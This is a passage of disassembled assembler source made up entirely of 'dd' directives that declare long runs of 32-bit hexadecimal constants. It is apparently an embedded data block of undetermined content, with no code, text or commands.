9F7F742Ah dd 3C6D16DDh, 0A80CEDF6h, 65018CA1h, 1BADDACFh, 0E12E3DECh dd 0B2D98E58h, 56F178A7h, 0C8CA864h, 8E7100D0h, 1D588685h dd 830BD92Bh, 0DCBB7F4Ch, 0B700DE90h, 0BC4E6751h, 5AA3F3F4h dd 0B214E35Ah, 0BFDB30A3h, 3704E3EEh, 53EABE31h, 7E28D081h dd 76711447h, 987462FEh, 0E7674AC3h, 7544B06Ch, 13771636h dd 4FB8F83Fh, 46E800ADh, 54FD41Dh, 40285EADh, 2D1042B0h dd 0C53D891Ch, 32A8CCC1h, 58C294ECh, 40C3028Ch, 0A36DD051h dd 61D1AC71h, 0EE1C5218h, 11CE9202h, 5A7EA04Fh, 9A4EBE3Eh dd 7C37BDB8h, 0D20C4B02h, 0FC805F84h, 3FF4491Dh, 19040B9Dh dd 0F70B448h, 0F3F21288h, 39900318h, 21277CEDh, 9D2C589Eh dd 0F88B6804h, 80C19FFCh, 14F11FD2h, 7CE32Bh, 864549B2h dd 3AA076h, 0EEB73E13h, 0E4475F72h, 58AEA72Ch, 0F4301FDEh dd 8C2C019h, 0DAB42AD2h, 0C1CBEB17h, 0BE34D044h, 0C8B0CFAAh dd 590BC182h, 4E90E424h, 52C5A701h, 0B2C2791Dh, 8CF33Fh dd 35171EBAh, 2589327h, 0F5A95522h, 4F20B506h, 765E6796h dd 5CD202FDh, 0E133F47Bh, 0ACDD4DE2h, 5EBDB8D4h, 4FB0A739h dd 1B0470BCh, 0ABF5EB8Ch, 53FAA00Bh, 1979D108h, 50A53220h dd 9D63C251h, 79C7C0D1h, 0CF901D48h, 55FD9B9Ch, 6D02C4D8h dd 158EE5C9h, 5C30C757h, 7A5E049Ch, 0E00086D4h, 93F2A6DFh dd 4604072h, 4302A5CAh, 904EAB52h, 7AAE960Eh, 76C7276Ch dd 736A50B8h, 0E660ECAFh, 0B4934814h, 1C119F50h, 5D014065h dd 0C676D1Ch, 14B59E7Eh, 723620E8h, 0E413207Ah, 0DCB3E083h dd 20C0B027h, 0EE974EA7h, 50CCBBD4h, 0AA748BBAh, 0EBC75C04h dd 0CFEBAFC3h, 0C0AE88D8h, 638308B4h, 56B90A00h, 0F19BFF6Bh dd 55E4257Fh, 0EDA5F0FBh, 0A712406Ch, 8805F869h, 0BFB40643h dd 23903EBEh, 67D10787h, 0C74A659Fh, 0FCD57418h, 9AAFB4ECh dd 0D82D9F6Ch, 0F2A30430h, 0EA40B257h, 50F91465h, 0FC00D4B8h dd 250FC865h, 82590302h, 8AAE7C82h, 66AC3A75h, 33D0024h dd 2BC0208Fh, 7AF0E5E7h, 7BC6712Dh, 80157858h, 91A08F00h dd 0C465EF42h, 509B60AFh, 44FF48BBh, 78F1A44Bh, 2E7CB52Bh dd 9FCC9Bh, 0D46FC857h, 0B80130A4h, 0EBF47471h, 2D6AD57Dh dd 9CDA6B68h, 0E3F6E781h, 0F8843F5Dh, 0B65817BFh, 9EFAE090h dd 0FCEB503Fh, 241B06FEh, 38F9884Dh, 0D4D86812h, 706BFFh dd 31F06A22h, 5A24DA16h, 8360A8CBh, 0D04DC094h, 44600Ah dd 4393F909h, 71D05E83h, 0FBAEFC0Fh, 7518693Dh, 2C9E841Dh dd 0A37C96A1h, 0C5E50BACh, 98295F4Fh, 0BFE7986Dh, 20FA2844h dd 55D6E984h, 4EEAC2E2h, 206CA348h, 0C423F757h, 0BC50ED4Ah dd 799E0CFCh, 75D93E3Bh, 0E6363105h, 61BF67CDh, 24C8270h dd 7C90D5F9h, 0E81EABC2h, 0C4C0E387h, 0FA7B2858h, 4E7FA5h dd 8BF1413Ah, 756B5CAEh dd 101742F6h, 30DBF8DBh, 0F6AB3B82h, 0FE98CC77h, 72E21798h dd 0E64009EAh, 4165B0D6h, 0B8C0DCA8h, 1877AC54h, 0EDE39C12h dd 300C00B8h, 0CED99676h, 0A2F460BDh, 45149E58h, 0DB8C520Ch dd 0D0078090h, 73D47BD8h, 0C34F5188h, 0AE0A602Ch, 49A4F370h dd 0F4400076h, 32A331h, 50821EB9h, 0EF70DB41h, 3B789A00h dd 0BC554968h, 0F91525F1h, 15E40C45h, 0DE2CE460h, 49AF5500h dd 0C3F5F721h, 0ECD24CD9h, 0A08266A2h, 6FD59EBEh, 3F8147F0h dd 0D22374A0h, 8604BC5Bh, 0B9DBF1CBh, 0B3D85713h, 6F2CE1DCh dd 1AB5A20Ch, 5BC082E0h, 0D0410284h, 0FBC81475h, 6EEFB854h dd 6CF7035Ch, 0DACB87C7h, 0E0C257A4h, 91841D5Fh, 0FB429D16h dd 0FCA2AB4Dh, 1C56030h, 428249F7h, 0E0375FE9h, 6CE09380h dd 1ABECEBh, 3F49B39Eh, 6413CDE7h, 4FBD1B84h, 60A3643Ch dd 30268208h, 676892DCh, 0F895AF07h, 0C0449F20h, 9E08CB3Eh dd 0E842D126h, 7DEA3BDFh, 3FA994A1h, 84166BFAh, 88D230FCh dd 65BFDC5Ch, 35CD8274h, 607FFF68h, 8AEBF1Ch, 6E576B76h dd 7E8DC080h, 7BA417BDh, 200800C4h, 4430C956h, 55726233h dd 0E49E392Fh, 5DB90040h, 0BB271D50h, 589D732Ah, 6354013Ch dd 0A4F5C9A8h, 90C8426Ah, 0B3005852h, 0C29DFE5Fh, 4141069h dd 1EE61C65h, 609BBA38h, 25407F80h, 0AFF4E7EDh, 8B53DD3Ah dd 0E2FA2445h, 1E900140h, 3C23472Bh, 0CF3017B2h, 4A920F32h dd 0C3C2A554h, 0B8A0DFF9h, 9CB018A9h, 7491CB27h, 38C2A540h dd 4B8098B7h, 0AD840A3Dh, 0EC185BCBh, 0A5B2C548h, 5860A4F5h dd 71DE6505h, 423AF68h, 0D2A6D006h, 866100D4h, 41040552h dd 0EB7270A7h, 975BE400h, 0CF90FA42h, 0F4164B2Fh, 282DC1F0h dd 0DE3C5C05h, 65CD7101h, 50EC0191h, 0E2FF4C30h, 0C28813F9h dd 0D280ADAEh, 386ABEh, 0EB98E90Ch, 957D0B4h, 0E0E430D1h dd 0ECA4707Bh, 0E54A00D6h, 28E14476h, 702906C6h, 3B00D8FCh dd 0EFFE348Ch, 2F60255Bh, 1A50CC7Eh, 745BB56Fh, 2C31D0h dd 1EA356EBh, 21A3E20h, 90CD6D13h, 8F1078B8h, 0A42ED317h dd 0C26F2E10h, 0F672BDE7h, 105F6B10h, 0C52534h, 99CC6B9Eh dd 7256A296h, 612689Eh, 12644CA4h, 420452BBh, 9BFBFE9Ch dd 34C3755h, 8158055h, 0E074D8B0h, 7C8C3027h, 2EE06DECh dd 54A851A9h, 9D2B220Bh, 0A4A3F7DDh, 52925150h, 5F29C9FFh dd 91AD5C7h, 0ED64F708h, 9E56DF07h, 2FF07473h, 26EA2B2h dd 0E2019892h, 228C5B82h, 53BF9004h, 0E1CA70CFh, 1164B39h dd 0E90DFACDh, 0E27FF9B7h, 9FAE1DE3h, 89F1D980h, 0CB342DB5h dd 0A9DD5FC8h, 0ABEF75CBh, 5FCC5749h, 76F9F82Fh, 85C3CEF0h dd 745F02D9h, 0BB4BAEBCh, 9D315C27h, 532F5h, 48E381A0h dd 0DCE7C0C9h, 57EFDB5h, 54AD2BFDh, 0F90C76ACh, 7BFD3B10h dd 95FF0CF5h, 0E9542A7Dh, 2E014A33h, 0A18DF860h, 6DDC971Bh dd 9EEE3860h, 694F095Bh, 687570D7h, 3DCA6CECh, 0C069718h dd 46B06196h, 3C0A51BFh, 798CB700h, 3401722Dh, 148F4101h dd 71BD8B30h, 61680FD3h, 0D82770E6h, 9D29A1E4h, 0D783A53Dh dd 4FFA5106h, 0B14B8B7Eh, 0C83D4AFBh, 97F73CE5h, 0BB60A0FCh dd 4CDB0377h, 7372B61Ch, 4E83EDEh, 30120075h, 0E2F76642h dd 0C8062BF9h, 0DF58D09h, 0D18B3F44h, 2FF38105h, 0D9C8EECAh dd 0C6BF3E51h, 5B641381h, 0A505858Bh, 711875BFh, 16406DBDh dd 7C03183h, 473419B2h, 0B5290109h, 3B03F6F9h, 27E022D0h dd 1F901CDCh, 0FF7FE912h, 4861E099h, 1E4DB6D8h, 1C00186h dd 97392105h, 0CCFA319Bh, 0F0956EDh, 5D5BFBB7h, 0FC8AC1E4h dd 22597057h, 0EAC15184h, 4D3D6391h, 1FAF92Eh, 0DCEB8D05h dd 6360A752h, 0BB25006Dh, 79A661A1h, 5F14FC37h, 2FA583h dd 1BBB66FEh, 0A4958925h, 9FE8528Dh, 9290B107h, 38FFB2DAh dd 0E2000F46h, 0F3FD09D8h, 3514F53h, 0B986B5EEh, 2370E95Fh dd 0FAEE8D7Ah, 0FBCFAB50h, 0BF048190h, 109B4DD1h, 6E0FB2BAh dd 291471D8h, 0B989BC8Dh, 5DB4C2D5h, 0DB589B7Bh, 8FE23Ch dd 0BF5C7BD9h, 3202294h, 5F286676h, 0FC4FABEBh, 0C0769ABAh dd 0F07D7EBDh, 8C4CE9C4h, 4E30007Ah, 0E4EF8E24h, 4F0B86E3h dd 0F5FC1E6Ah, 300C8B7h, 0F608D9EAh, 8DDE2443h, 0BBC0127Ch dd 42DF02DAh, 0BA90142Fh, 7B55D192h, 16E058A4h, 0DE0F4200h dd 6EFF2EA1h, 0C23318ADh, 83D04AD1h, 7504E909h, 19CD5FF4h dd 0D3F7EE60h, 7E0B2420h, 0DD4160E4h, 8113500Eh, 1F0490B4h dd 0D0417C5h, 8BF84088h, 9105B995h, 1F0211F0h, 12BCF0B7h dd 0AB411469h, 50459BBBh, 18F4C2EDh, 8C16F03h, 19CB361Dh dd 100E584Ch, 0C661D85h, 89397965h, 112B269Dh, 0C9117BEh dd 0A57522EAh, 0D0ED735Dh, 11013A7Fh, 0A1D0C50Ah, 75C2B8E8h dd 2D0477Bh, 0E3EB00AAh, 89E6CDFFh, 2D61B98Dh, 319D23AEh dd 0E1EFCD35h, 0B92E4FAFh, 421BCD9h, 0FF5FE380h, 0C0DA9BE1h dd 0E64707EDh, 9A4145Eh, 1A29B82Bh, 0BA13BB2h, 0FF04818Bh dd 7B00493Dh, 0A905AFE4h, 0A39E0B46h, 90F5FDABh, 0ED39471h dd 0D6CC0D2Fh, 0A553F140h, 0A6016C33h, 0DD60E45Eh, 4A48F657h dd 14528101h, 0B201A6EBh, 737A5549h, 9F0F8900h, 703273BCh dd 11920591h, 208EA212h, 860F033Bh, 0FF69E16Eh, 1A0ADD4Ch dd 4AB70460h, 0AAD98C66h, 0A1B761F6h, 0C8B09DAAh, 0D205DECEh dd 4E1804Fh, 0A103B86Fh, 89F46FB5h, 0C4FAC8B1h, 0C9500A14h dd 1587F9Bh, 264984C4h, 0DF71FE17h, 0C1042F81h, 2B0BE1E2h dd 38BC0FFDh, 0D8AA9100h, 8507CB41h, 20E0B0E2h, 33792151h dd 851D5D30h, 2CB7DBBFh, 17C5500Dh, 2C17FAFBh, 0DD5020EFh dd 6100676Dh, 0C3754C6Ch, 0D28E1694h, 6F320F98h, 28806849h dd 5250557Ah, 0B100F0A6h, 2670913Eh, 425EB94h, 0A7078D69h dd 73C3A543h, 82086CD2h, 0AFB794FAh, 2E02CFF4h, 5D5565EBh dd 5F5A227Bh, 501267D9h, 0A2EF7F34h, 60BE8E3Eh, 0D22C47EDh dd 21CF0385h, 8810F5Fh, 0DF513528h, 58150D20h, 412EF15Bh dd 35FDA598h, 4155805Fh, 545263DEh, 28448C12h, 0B5B88AAh dd 29418390h, 33CE930h, 2785897Eh, 0B6D4ABA2h, 5898E046h dd 653300CCh, 7EAA07CAh, 8101664Ch, 0E9A645DFh, 0BD2E01D0h dd 17D4BC1Eh, 917793h, 294055F5h, 5009BF3Ah, 6171D88h dd 9BBF1F6Dh, 685A78F2h, 0F1F8409h, 0B1511389h, 0DB0058Eh dd 0C878F7CAh, 1870C770h, 0DE255497h, 6CE54A00h, 8BB8BF50h dd 0BB236EB5h, 7DCAD9CCh, 6FFA2B4Ah, 96CC1278h, 32392804h dd 89D8891Dh, 0AD645Fh, 33E1A2D7h, 0A563E768h, 0A3C4C300h dd 0B07E4609h, 491499B4h, 0FE8546B5h, 83FF551Eh, 827269A9h dd 0B0759D26h, 4468984h, 0B015B6BBh, 92995Fh, 5013D5A9h dd 964E7E9Ch, 2A53C9EBh, 9935BFCh, 0A10B5A5h, 92C4D781h dd 0A4AE0762h, 338FF66h, 1060261Fh, 278D428h, 61654113h dd 0A2BB5B03h, 0C789EE7Ah, 8EC4EA10h, 97D9921Eh, 58F98040h dd 8224EB80h, 0D769A38Dh, 9390D9E4h, 508019FAh, 0E3EF09BBh dd 8A910E03h, 1C951008h, 48340482h, 0DBBBB462h, 0C2158805h dd 525FD460h, 0CDF69D9Fh, 2B47F200h, 5CF92E13h, 21106B98h dd 615B141Eh, 16BD10D6h, 0A12E313Bh, 85C78824h, 0F5164348h dd 597AAA10h, 1D37342Fh, 0B066A6AAh, 0E67D42ECh, 3CBC261Ah dd 0D9CB0394h, 5E04ADC6h, 21E9DABFh, 0F52231F2h, 0C30500Eh dd 61440E11h, 10E8C101h dd 20E38EBh, 3124C3Fh, 0E7B39058h, 36DD36EBh, 9E6443E0h dd 501B63E1h, 21282934h, 1358180Ch, 1B57D001h, 0C0021B94h dd 7BDB589h, 78745375h, 0CD2EA452h, 855066ADh, 0B044117h dd 0CA0A3EC9h, 2A00AA7Ah, 0D3FD29DDh, 0C03C92E6h, 41AF488Ah dd 0B8D12932h, 9484027Fh, 31233A21h, 20FE19E9h, 1540F979h dd 0BABD4E29h, 94089012h, 0FF2AB11Bh, 29C3EEC7h, 10730458h dd 0B0502511h, 0A1D13FDBh, 243426FCh, 0EBFADE35h, 0E0EDD503h dd 88CA761Fh, 816096h, 0C6B6C2CFh, 61CDB03Fh, 0F98D310Dh dd 8B0D7C0Fh, 0C8A1DD37h, 0FD2FD4BDh, 0D27A890Ah, 99098913h dd 0AF4DD721h, 0F940A7E7h, 5001E485h, 0A5029503h, 30FA28AAh dd 85191FF9h, 56970E41h, 0D49DDEF4h, 89034FE1h, 7540B19Dh dd 0C4618680h, 9585092Fh, 614BCA68h, 14108C41h, 2F0DA5ABh dd 0B380E2ADh, 0C2835B71h, 0E7800400h, 205089A9h, 0BC0609BFh dd 0C88148A6h, 3EABB7CEh, 0BBB83EB9h, 0D920D990h, 0B8BCC922h dd 4546EF5Fh, 62F5C37Ah, 88A65BB9h, 2028D15Ch, 6AAD44C1h dd 0B2D0D693h, 332C0216h, 845CAFC5h, 41E05E9h, 1860F4AAh dd 0B53F6100h, 0DE5F101Dh, 1270B8B1h, 6558DAEFh, 1D3E0462h dd 0C0059E1Eh, 1E5F50CCh, 0DC1C48C4h, 1E4FFB2Eh, 0D55DFAFAh dd 4D14DFBCh, 8554B695h, 25A58A0Fh, 7F281931h, 26209E94h dd 2A69CCC7h, 0ECD7569h, 0F53AEBC0h, 0F521712h, 0F130FF8Eh dd 985F3230h, 2E3D10BCh, 1B1B8BA8h, 250CF254h, 2E5000E9h dd 313E517Fh, 456DB4Dh, 0D61BD01h, 0EF4A27CEh, 4F05FE3Fh dd 8176D6E6h, 0A5128B10h, 24A5101Dh, 0A1F000C0h, 87602E08h dd 0BA143A0Eh, 1297747Ch, 29E3185h, 22F12D80h, 7E7DD09Ch dd 605A66A4h, 6D7A4F20h, 4EA0090Eh, 4300EAD4h, 61BC89E7h dd 0F5582C4h, 0A198007Bh, 0B9150920h, 7DCFA01Ch, 2028107h dd 0C1F82430h, 2E0D1979h, 83BCDDF9h, 0C1911113h, 44C63582h dd 1A542E0Dh, 5FE93E9Ch, 0C4E74777h, 0E132601Ch, 29D402A3h dd 0F208A586h, 0C2403854h, 3B5D6709h, 180033F3h, 0D73DFE1Fh dd 3EF38BE4h, 95C4C9A8h, 0E937E4EDh, 0FFF33D1Ch, 0C357567h dd 41C0139Fh, 6A3D63BFh, 0C6E516A4h, 0C52E0960h, 0B3617940h dd 0C1026D79h, 8F8CCCBFh, 0F8D1752Fh, 59D2891Dh, 90F93281h dd 50D8A240h, 0E88350Fh, 0C1A606Dh, 0EC06CA48h, 612865B9h dd 0DB810D32h, 2EC41C23h, 319E62ACh, 60901F1h, 4D297D78h dd 0FAE803ACh, 4D7C2913h, 27FDD804h, 4E46F3EFh, 8007EF6Ah dd 0D0A8E974h, 684BD370h, 8156CF1Dh, 0B66C2081h, 0EF705B7Dh dd 4585A61Bh, 0CFEC2A0Eh, 54C957A0h, 70847D4Ch, 8B92018Ah dd 0D9CD50FBh, 0F5357DAh, 9019D958h, 611C2ED0h, 2A1A2725h dd 2E253460h, 8100BAA4h, 652D74E3h, 27BF6659h, 0EEA756FCh dd 4CD7A90Bh, 403595C4h, 19787F07h, 6E8FBBA0h, 49739655h dd 271445Dh, 31BA4119h, 1340609Fh, 992651D1h, 9D041E61h dd 418829F1h, 420F5BC1h, 0AB8C7FE6h, 7005F35Dh, 0ED000C7Dh dd 0CE3219B1h, 9D52F385h, 5F413BFCh, 7F66D1FFh, 80A855F0h dd 60506D16h, 0D3A688h, 0CF9B07B1h, 0D90F7367h, 0C402FB25h dd 6A400304h, 5AE73049h, 22BEFC4Bh, 74040167h, 0A031B7EAh dd 50299994h, 41FDAA60h, 878A3C15h, 1E601B31h, 3D7150h dd 0C985FC60h, 727453CAh, 0A9AEA200h, 26A61B9h, 41F30481h dd 804B6590h, 9826BFECh, 8110EFC8h, 0EB013348h, 95BCE830h dd 8005EF3Fh, 6B60E27Fh, 24BA66D3h, 7BA9F7h, 74C0CF81h dd 67BB75C7h, 0C71E904h, 9095B2EBh, 81AC2F8Bh, 0E8673D75h dd 0B53829B8h, 74571B8Fh, 2B4A4FC1h, 80FAF814h, 5FB1DB13h dd 7E2E2E04h, 0A6EB1D84h, 3510B00Ch, 60920246h, 15B509FBh dd 0F0F8D2A4h, 0FE95EA48h, 1A3F2487h, 0E7561FD5h, 27D15F52h dd 225FE0FBh, 0E5B52689h, 0E66CA59Dh, 0B1BD2908h, 0C92D2420h dd 8A87E959h, 5D996AD9h, 2F60524Dh, 1C486A09h, 0EED18D01h dd 0B9414481h, 4ABD3F54h, 0E6B69612h, 90953322h, 1A26CDFh dd 682A1658h, 2062B174h, 80332ADh, 71B69F89h, 0B01AC1ABh dd 5E36302Eh, 0BD00513Ch, 50FAFE52h, 727B65Dh, 3FE52F9Bh dd 43546269h, 5BDF4FC0h, 4A70E62Ch, 0D0A84465h, 58D70100h dd 8B71E4F9h, 0E892F84Bh, 0DA3E2CE1h, 0E9E50897h, 0BA95B305h dd 351814A3h, 89C1F125h, 110DBD32h, 49EB5C66h, 83BEC87Dh dd 1CB3031Fh, 82457640h, 0FE8B22C0h, 273A749Dh, 0A102439Ah dd 2B003409h, 0F4A3B7C8h, 7DD7B0D1h, 0B0F4095h, 221B525h dd 80E9619Ah, 18D3135h, 0BF8DC218h, 9CE01F7Bh, 39C20AB9h dd 5E15299Dh, 6CE44905h, 0F4AC5000h, 41DAC5B4h, 9120D8F5h dd 9997021Dh, 0E150E0Ch, 4C10CD70h, 40E9195Ah, 0BC2FFC1Bh dd 89BB9373h, 0F6222BDBh, 57F5222Ah, 90E7717Dh, 830A928Ah dd 0FE1F24A5h, 88DEBF8Bh, 83B6916h, 25216185h, 9910CF6Ch dd 0BD13AC05h, 0B6959445h, 1552F00Ah, 93460914h, 0C6DFD4A9h dd 41819C85h, 7D083BB9h, 176910EAh, 6BC5C44Ah, 0D17B073Ch dd 0DD2007ACh, 0EB814Bh, 62FB6B65h, 0DBE780FCh, 0F69DB870h dd 367DF47Eh, 57C9A309h, 129F715Fh, 0D87CE3F5h, 800DC9DAh dd 627C32BBh, 54891F4Bh, 0C9C0A2E9h, 68179E4Eh, 24DD0D93h dd 56302B0Ch, 9A619D31h, 58959525h, 0B9B7A5h, 0DA2375ACh dd 5E2542BFh, 33768h, 0CA892D06h, 4909DF13h, 71289A93h dd 494C448Eh, 0C13D9852h, 80E302DEh, 5F33271Eh, 5D71DA9Ah dd 9E516EA5h, 4100D488h, 5F3FEB26h, 0A1A8AF7h, 0E1FF0AEAh dd 0BD909BFh, 0FCC63571h, 706D9067h, 4013ACC1h, 41E30401h dd 59165D59h, 0BB367013h, 0E5024DD6h, 56E484BFh, 0B5D725D2h dd 380C85B6h, 2159C105h, 0D2A80409h, 46BCDD4Dh, 1D651C04h dd 0CEAD8880h, 3542C838h, 0AEE6FDA9h, 5D3114B2h, 81B4342Bh dd 2E174D94h, 929E7EB8h, 447FB5C7h, 79B1BA7Bh, 0ACB7F92Fh dd 69F494E5h, 0A2C50385h, 0BD6E6309h, 5F130149h, 0E6DDBE68h dd 0FC0F2B28h, 0B8B052F8h, 0F9DE3E41h, 8501560Bh, 7751A709h dd 44ACFC44h, 9FFDC8D3h, 0FA672001h, 0ACE45AFFh, 0AF93812Ch dd 7401588Eh, 30E95B6Bh, 11286202h, 894A0DA1h, 51BE9517h dd 0ED345FA6h, 5D84CEC7h, 0BFC0D0A8h, 32C974B2h, 53D33A95h dd 129350A6h, 0B5E852h, 0B28925CBh, 2CEA8Ch, 88E52EA7h dd 0CF176445h, 6B342306h, 7FAE7977h, 0DC0E822Dh, 9F76F77h dd 379259F6h, 85151146h, 0AD047D25h, 290714DDh, 0A9197495h dd 8C1BA8F3h, 17758807h, 0A0502A36h, 90D88BF8h, 50D92527h dd 0D102F0CAh, 75408E18h, 0C11213BFh, 0F9E56B8Ch, 0FF8908ADh dd 60F64DDFh, 0E17A7E30h, 5288DB4Fh, 0AE74009Fh, 0B885454Bh dd 87EC80D6h, 35CDF34Ah, 0ACD3E92Eh, 0C4774F05h, 46F7EFABh dd 0FA016802h, 577E0A90h, 34ACE04Eh, 2AF542h, 0C51D4835h dd 754D3FE9h, 8EDF3A28h, 0BEA44DB0h, 8FF9FE09h, 9E56370Ah dd 8942654h, 0F80E32A5h, 0C4EFF201h, 0D27AA87Bh, 0F727316Fh dd 4911F68Eh, 6BBF4B57h, 0BBB4018Ch, 7BE9D767h, 1ECD083Fh dd 9FA54E25h, 0CD0C5C35h, 259F3C12h, 0ABD52B61h, 0D76B63BBh dd 29178E45h, 98A851C4h, 0F9581AB6h, 25191087h, 47D7D897h dd 0E2A92EE1h, 0AD62CFBCh, 33155FAh, 214B3AE9h, 41F6BEBh dd 1C15EAC7h, 96EBB0ACh, 530F6E6Fh, 0EEE0D3DBh, 9EA873F2h dd 0B5096D09h, 9D314865h dd 4C1F5C29h, 15DF85E1h, 2E8D9205h, 0C5CCEB3Ch, 0E3DA8B27h dd 0C0034C87h, 29A97E51h, 0A47B03C1h, 316BAE54h, 386589D0h dd 0E124479h, 3940A069h, 0CF81665Fh, 0CD904ABEh, 0B8966D9Bh dd 23BFCC1h, 0F46EECD1h, 0B956FE8Ah, 4ECD82C4h, 0C25412DAh dd 759D0B60h, 0F2418B31h, 8EA92E6Ch, 7036FD00h, 58C95355h dd 7893E700h, 90EA084Dh, 97D89AB5h, 0DB001B37h, 1FB96EDh dd 82CD05E3h, 0F7E0E780h, 3DA5BA1h, 9A9C0C80h, 0DB4AB70Fh dd 0ACF5C5CCh, 40759690h, 0EF73C7BCh, 0BD45F309h, 89A659BEh dd 7F59D88Ah, 24DE16A6h, 253B5DDEh, 6350EBB3h, 0A4AC554h dd 1489A8DCh, 123459BDh, 4A0CE110h, 0E0AD9E84h, 7A0160B8h dd 87849073h, 648C18E2h, 507116F9h, 3ABB2002h, 561197ECh dd 256DE9C4h, 78630C40h, 11EEC43Dh, 0C9C7AD10h, 0DB331860h dd 126803D8h, 0E3FEEDD3h, 397522F0h, 7EA38307h, 0A47B950Bh dd 0DBE761DEh, 3FC40FA0h, 6B8F7E13h, 0BE01C8BBh, 8EF1410Bh dd 95130232h, 0E0E65425h, 3305F1BFh, 0D54949B6h, 0CDE06BEDh dd 12DD7Dh, 92E38176h, 502F2DC7h, 449FDC9Dh, 11F4BB51h dd 0A2220087h, 0C90EF47Eh, 5F6A4F4Dh, 0DF25BDEAh, 9687DF35h dd 0E7E060BFh, 4A56837h, 0DBC7802Ch, 0AC60AD61h, 9E008C1Ch dd 0A1999C21h, 0B0178D7h, 43F380C2h, 1B95F878h, 908BCAE9h dd 1221BFC1h, 0B2075AE3h, 25498DC9h, 9BB81A2Dh, 96475E03h dd 0A450DEB3h, 0B02CA6EFh, 412FB49h, 7C46A794h, 0F8E8C240h dd 55A974h, 5DC9FE13h, 0BC13E135h, 0C0F053ADh, 0B65BFEB6h dd 0EC4D2520h, 0B2621464h, 32612160h, 91523797h, 0C0A08F1Ah dd 0F9A571E8h, 0FB989525h, 94958DB7h, 11944DBh, 1F52B55Bh dd 6617E0A3h, 0A05212BBh, 9D7123C2h, 4525F096h, 0ECC0A7C4h dd 0E90ECC5Eh, 33FFF49Eh, 0DFE215A6h, 0D800CBD9h, 36DECA02h dd 128B4A13h, 0BD2488D7h, 3B662800h, 0F6BA74FBh, 0BE2D020Dh dd 0C18B5B44h, 0DCE2C34Dh, 91A8D87Ah, 399504C1h, 0AEF6FA0Dh dd 0FC5F5304h, 50068090h, 20ED5B52h, 0D61A78DEh, 5B7E4FA1h dd 0A3A67006h, 0B6DB801Ah, 0C0B2ED44h, 799EDCD7h, 0CEF27F31h dd 614106ADh, 0CC7CB696h, 9AB8B062h, 4D27BB56h, 7C14C08Ah dd 3E25A10Eh, 9038C181h, 59E2E38h, 0CC310FFBh, 0A07ADCEh dd 3361C469h, 0F450B6B7h, 0EEE48Ch, 0FACF1892h, 5B122297h dd 0FB3A19B7h, 0D97F9002h, 0B55E24ACh, 0B915BDB6h, 0E93A3B21h dd 8AC4B967h, 0DD2C4A7Eh, 0C0A01ABFh, 0BDC007E0h, 0F98A258Bh dd 5509A65h, 4B6C00E6h, 0B25388B3h, 8917515Eh, 5552C9B5h dd 0A24D9AA1h, 1461DCh, 0FB6429B2h, 72DC8BEFh, 6DDA3A4Ah dd 4A875176h, 6AF9CE00h, 0D338B502h, 0DC8A1D59h, 6C50495Ah dd 0E183A57Bh, 0DD6261F0h, 0B7AC7695h, 7DCF910Ah, 0D90931D7h dd 9AC6F722h, 84CFA200h, 295026E4h, 74403AAAh, 0C318E600h dd 0CDFCE8C9h, 0F7615F24h, 4206D08h, 0AC0D91E9h, 0B6A0B16Dh dd 20F0FC04h, 2FA39034h, 0A6BA2C65h, 0D7E96654h, 0A4E0F2C7h dd 0EAB2F629h, 0DA34486Bh, 0DF978C3Ah, 874F0538h, 0B3B6AA19h dd 9DACC700h, 0D1411E52h, 32A1BA00h, 33FCC626h, 0DFAB0515h dd 13FDA791h, 7A9BEACBh, 0A050E781h, 9A532B30h, 8B26DEFEh dd 0E0478045h, 4AAD9D01h, 5B9BCA1Dh, 35802EDBh, 0A28D7261h dd 0BE96F18h, 3F45321Dh, 0B581C986h, 1D3E859Bh, 611C20ABh dd 0B2880B5Fh, 0CC54821Bh, 0E04AED49h, 0FFB75354h, 35C7BB03h dd 0BC6A6DD0h, 0FE09A3BDh, 4264E880h, 90BCCE00h, 5A508477h dd 12FFBA59h, 0FFA8298Dh, 7C334189h, 2AFE0282h, 1705DCC0h dd 1CEEB195h, 0F30C7616h, 0EB07A5Fh, 5E1402BFh, 71E470E6h dd 0B654AA62h, 38350246h, 15A5BD89h, 60129E59h, 120B68B2h dd 8E818C3Eh, 0F1C38319h, 32202F2Fh, 5E6F3Fh, 70E8AF3h dd 0C013852Eh, 6D13C97Ch, 0CCFB57C1h, 19259DC8h, 2DB6A2Dh dd 90AA5C4h, 5758D850h, 0CA944A31h, 1020FBF8h, 18C82B2Fh dd 30BD29B0h, 0D14D0C45h, 49708D89h, 0E195E980h, 64C16D42h dd 8852D48h, 2BDB2F11h, 0A960BF0Fh, 616381F1h, 16B8FA8Ah dd 0ED4DBD40h, 571E7716h, 61532B5Fh, 0CA3A3E5Dh, 221DC6D2h dd 0FB5F59E9h, 0A2640300h, 0A698FAE0h, 72DD1A4h, 0B83E447Bh dd 32D87237h, 5203FF8Dh, 3E02736Ah, 9D825F61h, 71771581h dd 2284082Eh, 0A594FC9Eh, 73FE2620h, 0E4867520h, 0C7178C00h dd 33C13124h, 5E4A25C8h, 32FCD76Ch, 0DE28F497h, 2032431Dh dd 1DE3817Fh, 5B7B67EEh, 20554CA7h, 0E4403A2Dh, 957F0052h dd 0F83CB7E0h, 0F3EA3D9Eh, 4C86AD24h, 18628412h, 5BB8A485h dd 4BF7F6EFh, 0A63FFAh, 0BAC7CDC6h, 3C62A347h, 0F94128Dh dd 608B918Ah, 211840Eh, 0B9615E53h, 0ACE6AAEAh, 0E1343002h dd 2F275C0Eh, 5CC0D14Dh, 1F09CDC8h, 0C4DD2758h, 8CF890C0h dd 0D40095A9h, 0F452C38Bh, 72D03C2h, 0B14E6724h, 0BB222034h dd 71E21692h, 0BC4AFC5Dh, 2CED0169h, 2B01D2B0h, 0B8A06DC0h dd 59C74005h, 9FBA2040h, 2F6A0D6h, 0A59B9510h, 0DC43CD0Bh dd 59093392h, 0C781E282h, 300BEFC0h, 0D673D697h, 4284AD00h dd 946ECCA5h, 101E1253h, 5594FE89h, 5BFA4781h, 82AC242Eh dd 19D1F9A0h, 1509F893h, 4BF97A9Dh, 20AD8D61h, 74BB961h dd 0BBC0AD8Bh, 558F7BF3h, 0C4E5549Dh, 0A273B8F9h, 2FBF2078h dd 3B38C2C3h, 0DA5554B8h, 0B5673A97h, 0CA6D84EBh, 4D7E809Fh dd 610043AAh, 39CB09BFh, 97E1FF7Ch, 0FD6FCD4h, 0E8610B39h dd 26BB84C1h, 0C3B96B89h, 361A5125h, 49F10585h, 97A95FA1h dd 26429F59h, 8E820904h, 9D5C5F4Bh, 80153051h, 0DB4643B0h dd 9D8A054Bh, 9D23887Eh, 271BD52Ch, 82071291h, 0A06C935Bh dd 0AF66549Ch, 